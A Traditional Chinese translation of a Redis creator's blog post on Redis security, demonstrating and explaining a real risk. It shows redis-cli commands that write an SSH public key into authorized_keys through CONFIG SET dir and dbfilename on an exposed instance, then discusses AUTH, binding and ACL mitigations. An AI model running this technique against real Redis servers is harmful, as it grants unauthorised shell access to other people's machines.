A few things about Redis security

Salvatore Sanfilippo

關於 Redis 安全性的幾件事

重要更新:Redis 3.2 已透過實作 protected mode(保護模式) 提升了安全性。詳細資訊請見此處:https://www.reddit.com/r/redis/comments/3zv85m/new_security_feature_redis_protected_mode/

我不時會收到關於 Redis 的安全性通報。收到通報是好事,但奇怪的是,我收到的通常是像 Lua 沙箱逃逸、不安全的暫存檔建立這類問題,而這個軟體的設計(如我們在安全性頁面 http://redis.io/topics/security 中所說明)本來就是一旦暴露於外部世界就完全不安全。

然而,這些錯誤報告往往還是有用的,因為任何軟體一般而言,以及 Redis 本身,都存在不同層級的安全性問題。你若已取得資料庫的存取權,究竟只能修改資料庫本身的內容,還是能進一步入侵執行 Redis 的本機系統?

在一個系統中,某一安全層級的重要性取決於其安全模型。該系統是否設計為允許不受信任的使用者存取,例如網頁伺服器?是否針對不同類型的使用者設有不同的授權層級?

Redis 的安全模型是:「讓不受信任的客戶端存取系統是完全不安全的,請自行對外做好隔離保護」。原因是,基本上 99.99% 的 Redis 使用情境都是在受隔離的環境中。安全性很複雜,加入安全性功能會增加複雜度。為了 0.01% 的使用情境而增加複雜度並不划算,但這是設計哲學的問題,所以你當然可以不認同。

問題在於,無論我們在安全性頁面如何聲明,仍有大量 Redis 執行個體在無意間暴露於網際網路。不是因為使用情境需要外部客戶端存取 Redis,而是因為沒有人費心透過防火牆、啟用 AUTH、若只有本地客戶端存取就綁定至 127.0.0.1 等方式,來保護該 Redis 執行個體免於外部存取。

來把 Redis 破解一下好玩就好,反正身為開發者我也沒什麼好賺的

為了用一種殘酷的方式展示 Redis 的「安全模型」,我做了一個快速的五分鐘實驗。在我們的安全性頁面中,我們暗示了若 Redis 暴露會造成重大問題。你可以讀到:「然而,透過 CONFIG 命令控制伺服器設定的能力,讓客戶端能夠變更程式的工作目錄與傾印檔案的名稱。這使得客戶端能在任意路徑寫入 RDB Redis 檔案,這是一個安全性問題,很容易導致能夠以與 Redis 相同的使用者身分執行不受信任的程式碼」。

所以我的實驗如下:我會在我的 Macbook Air 上執行一個 Redis 執行個體,且相較於我目前的電腦設定完全不做更動。現在,從另一台主機,我的目標是入侵我的筆電。

所以,首先來檢查我是否能存取該執行個體,這是前提:

$ telnet 192.168.1.11 6379
Trying 192.168.1.11...
Connected to 192.168.1.11.
Escape character is '^]'.
echo "Hey no AUTH required!"
$21
Hey no AUTH required!
quit
+OK
Connection closed by foreign host.

成功了,而且不需要 AUTH。在未設定密碼等保護措施的情況下,Redis 就是不受保護的。在這種情況下,你能做的最簡單的事就是寫入任意檔案。猜怎麼著?我這台 Macbook Air 剛好執行著 SSH 伺服器。試試看把東西寫入 ~/ssh/authorized_keys 來取得存取權如何?

讓我們先產生一把新的 SSH 金鑰:

$ ssh-keygen -t rsa -C "[email protected]"
Generating public/private rsa key pair.
Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 [email protected]
The key's randomart image is:
+--[ RSA 2048]----+
|          .   O+.|
|       . o o..o*o|
|      = . + .+ . |
|     o B o    .  |
|    . o S    E . |
|     .        o  |
|                 |
|                 |
|                 |
+-----------------+

現在我有一把金鑰了。我的目標是把它放進 Redis 伺服器的記憶體中,之後再轉存成檔案,且讓最終的 authorized_keys 檔案仍然是有效的。使用 RDB 格式來做這件事的問題在於,輸出會是二進位,且理論上也可能壓縮字串。但好吧,也許這不是問題。首先,讓我們在產生的公開 SSH 金鑰前後加上換行來填充:

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

現在 foo.txt 就只是我們的公開金鑰,但前後加上了換行。我們可以使用 redis-cli 把這個字串寫入 Redis 的記憶體中:

~~~~~~~~~~~~~~~~~~~
注意:接下來的步驟已在細節上做了些微修改,以避免屁孩直接複製貼上進行攻擊,因為自從這個攻擊手法公布後,全球已有數個 Redis 執行個體遭到入侵。
~~~~~~~~~~~~~~~~~~~

$ redis-cli -h 192.168.1.11
192.168.1.11:6379> config set dbfilename "backup.rdb"
OK
192.168.1.11:6379> save
OK
(Ctrl+C)

$ redis-cli -h 192.168.1.11 echo flushall
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

看起來不錯。該如何把我們記憶體中的內容傾印到 authorized_keys 檔案中?這有點簡單。

$ redis-cli -h 192.168.1.11
192.168.1.11:6379> config set dir /Users/antirez/.ssh/
OK
192.168.1.11:6379> config get dir
1) "dir"
2) "/Users/antirez/.ssh"
192.168.1.11:6379> config set dbfilename "authorized.keys"
OK
192.168.1.11:6379> save
OK

此時目標的 authorized keys 檔案應該充滿了垃圾,但也應該包含了我們的公開金鑰。該字串沒有簡單的樣式,所以不太可能在 RDB 檔案中被壓縮。ssh 會不會天真到在解析一個完全損毀、但只有一筆正常項目的檔案時毫無問題,並接受其中唯一合理的項目呢?

$ ssh -i id_rsa [email protected]
Enter passphrase for key 'id_rsa':
Last login: Mon Nov  2 15:58:43 2015 from 192.168.1.10
~ ➤ hostname
Salvatores-MacBook-Air.local

會的。我在短短五秒內就成功以 Redis 使用者的身分取得了存取權,並取得了一個正常的 shell。這要歸功於一個未受保護的 Redis 執行個體基本上就是一個隨需寫檔伺服器,而在這個案例中,ssh 還不夠保守,未能拒絕存取一個除了單一項目外全由損毀金鑰組成的檔案。然而,問題不在 ssh,一旦你能寫入檔案,即使裡面混有二進位垃圾,也只是時間問題,你終究會以某種方式取得系統存取權。

該怎麼修好這一團糟?

我們說 Redis 若暴露就是不安全的,而 Redis 的安全模型是僅供經授權且受信任的客戶端存取。但不幸的是,這還不夠。使用者仍然會在未受保護的狀態下執行它,更糟的是,在讓 Redis 更能抵禦部署錯誤,與讓 Redis 對僅在開發或安全環境中使用、不需要限制的人保持易用性之間,存在著張力。

舉個例子。新版的 Redis 出貨時,範例 redis.conf 預設為「bind 127.0.0.1」。如果你不帶參數執行伺服器,它仍會綁定所有介面,因為我不想打擾那些可能只是為了開發而執行 Redis 的使用者。為了讓範例伺服器允許來自其他主機的連線而必須重新設定,代價有點大,卻只能為那些不在乎的人贏得一點點安全性。然而,許多使用者作為設定範本的範例 redis.conf,預設會綁定回送介面。希望能減少部署錯誤。

然而,這些措施效果不大,因為不幸的是,大多數缺乏安全意識的使用者在發現綁定 127.0.0.1 會阻止他們從外部連接客戶端後,所做的就是直接刪掉 bind 那一行並重新啟動。於是我們又回到了不安全的設定。

基本上,問題在於要在以下三件事之間找到折衷:

  1. 讓了解自己在做什麼的人能毫無困擾地使用 Redis。
  2. 讓不了解自己在做什麼的人所使用的 Redis 變得不那麼不安全。
  3. 我偏向「1」而非「2」,因為請自行詳閱說明文件(RTFM)。

用使用者 ACLs 來緩解問題

為 Redis 與外部世界隔離的概念增加備援的一種方式,是使用 AUTH 命令。這非常簡單,你將 Redis 設定為需要密碼,客戶端則透過 AUTH 命令使用設定的密碼進行驗證。機制很單純:密碼未經雜湊,以明文形式寫在設定檔與應用程式中,所以就像一個共享密鑰。

雖然這無法抵禦竊聽你 TCP 連線或入侵你應用程式伺服器的人,但對於將未受保護的 Redis 執行個體留在網際網路上這種明顯錯誤,它是一道有效的防護層。

關於 AUTH 的幾點說明:

  1. 你可以把 Redis 當作一個神諭,每秒測試許多密碼,但密碼不需要靠人腦記憶,只要放在 Redis 設定檔與客戶端設定中,所以請選一個非常長的,讓它無法被暴力破解。
  2. AUTH 在連線建立時發送,而大多數正常的應用程式都有持續性連線,所以付出的成本非常小。它也是一個執行速度極快的命令,就像 GET 或 SET,不會觸及磁碟或其他外部系統。
  3. 即使在隔離良好的環境中,這也是一道很好的保護層。因為一個錯誤,執行個體可能暴露出來,即使不是暴露於網際網路,至少也會暴露給本不該與之通訊的客戶端。

也許改進 AUTH 是獲得更高安全性的正確路徑,所以前陣子我發布了一個在 Redis 中加入「真正使用者」的提案:https://github.com/redis/redis-rcp/blob/master/RCP1.md

這個提案基本上是為使用者加入 ACLs(存取控制清單)。它的運作方式與執行速度與 AUTH 非常相似,但不同使用者有不同能力。例如,預設情況下一般使用者無法存取管理命令,所以他們不能執行「CONFIG SET dir」,也不會出現如上所述的漏洞。

預設使用者仍可執行一般命令(所以大家寄給我關於 Lua 沙箱的修補,我確實套用了,的確非常有用),而必須設定一個管理員使用者才能使用管理命令。然而,為了讓 Redis 對使用者更友善,我們可以做的是,始終擁有一個空密碼的「admin」使用者,若連線來自回送介面就接受其連線(但應該可以停用此功能)。

ACLs 雖然不完美,但有某些優勢。當 Redis 以正確的方式透過 SSL 代理暴露於網際網路時,擁有一層額外的存取控制非常有用。即使在未使用 SSL、只有本地客戶端的情況下,以更細緻的控制來保護客戶端能做什麼也有諸多好處。例如,它可以防範程式撰寫或管理上的錯誤:一般使用者可能不被允許執行 FLUSHALL 與 FLUSHDB,用於 Redis 監控服務的客戶端則會使用僅允許少數特定命令的使用者,依此類推。

不在乎保護其執行個體的使用者,仍會擁有一個可從外部存取的資料庫,但沒有可用的管理命令,這從資料庫內所含資料的角度來看仍然是不安全的,但從執行 Redis 執行個體的系統角度來看則更安全。

基本上,要同時達成讓 Redis 預設對使用者友善,又能抵禦使用者將執行個體綁定到公開 IP 位址這類重大安全失誤的目標,是不可能的。然而,修復可能允許以與 Redis 處理程序相同權限執行不受信任程式碼的 API 錯誤、出貨時採用更保守的預設設定,以及實作多使用者與 ACLs,或許能在不大幅影響了解自己在做什麼的一般 Redis 使用者體驗的情況下,改善目前 Redis 安全性的現況。

此外,ACLs 的好處在於能讓應用程式開發者建立符合特定客戶端在應用程式邏輯脈絡中實際限制的使用者,使錯誤較不容易造成重大問題。

即使是這樣簡單的安全層也有缺點,那就是它增加了複雜度,尤其是在複寫、Redis Sentinel 以及其他在這個新脈絡下必須都能感知驗證才能良好運作的系統中。然而,這很可能是必須逐步完成的一項努力。

Hacker News:https://news.ycombinator.com/item?id=10537852

Reddit:https://www.reddit.com/r/redis/comments/3rby8c/a_few_things_about_redis_security/

原文由 Salvatore Sanfilippo 發布

本文章由 muse-spark-1.2-contributor 進行翻譯